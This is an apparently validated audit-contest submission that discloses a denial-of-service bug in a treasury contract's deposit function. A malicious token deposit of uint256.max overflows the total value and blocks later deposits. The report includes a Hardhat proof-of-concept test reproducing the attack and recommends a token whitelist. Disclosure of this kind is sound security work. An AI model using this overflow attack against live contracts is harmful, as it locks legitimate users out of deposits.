Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

Denial of Service (DoS) in Treasury::deposit

Summary

The Treasury::deposit function allows deposits from any token, enabling an attacker to overflow _totalValue to uint256.max, causing a denial-of-service by preventing further deposits.

likehood: high

severity: medium

Vulnerability Details

The Treasury::deposit function allows deposits from any ERC-20 token and updates the _totalValue state variable using uint256. However, an attacker can exploit this by depositing a large amount of a malicious token, increasing _totalValue to its maximum (uint256.max). Once _totalValue reaches its upper limit, any subsequent deposit attempts will result in an arithmetic overflow, effectively preventing legitimate users from making deposits.

Impact

During the attack:

  • Normal users cannot deposit funds into the treasury, disrupting expected contract operations.

  • The contract manager (MANAGER_ROLE) can manually remove the malicious token, but an attacker can continuously create and send more malicious tokens, keeping _totalValue maxed out.

  • This creates a persistent DoS attack vector, making deposits unreliable and impacting protocol functionality.

Tools Used

Proof of Concepts

Add the following test to test/unit/core/collectors/Treasury.test.js

describe("Treasury", () => {
...
describe("Deposits", () => {
...
it("deposit DOS", async () => {
const amount = ethers.parseEther("10");
await treasury.connect(user1).deposit(token.getAddress(), amount);
expect(await treasury.getTotalValue()).to.equal(amount);
let attacker;
[attacker] = await ethers.getSigners();
const MockToken = await ethers.getContractFactory("MockToken");
let token2 = await MockToken.deploy("Test Token2", "TEST2", 18);
await token2.mint(attacker.address, ethers.MaxUint256);
await token2
.connect(attacker)
.approve(treasury.getAddress(), ethers.MaxUint256);
await treasury
.connect(attacker)
.deposit(token2.getAddress(), ethers.MaxUint256 - amount);
// this line will raise the arithmetic operation overflowed error
await treasury.connect(user1).deposit(token.getAddress(), amount);
});
...
});
...
});

Run it

npx hardhat test --grep "deposit DOS"

Recommendations

Add a token whitelist

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Treasury::deposit increments _totalValue regardless of the token, be it malicious, different decimals, FoT etc.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.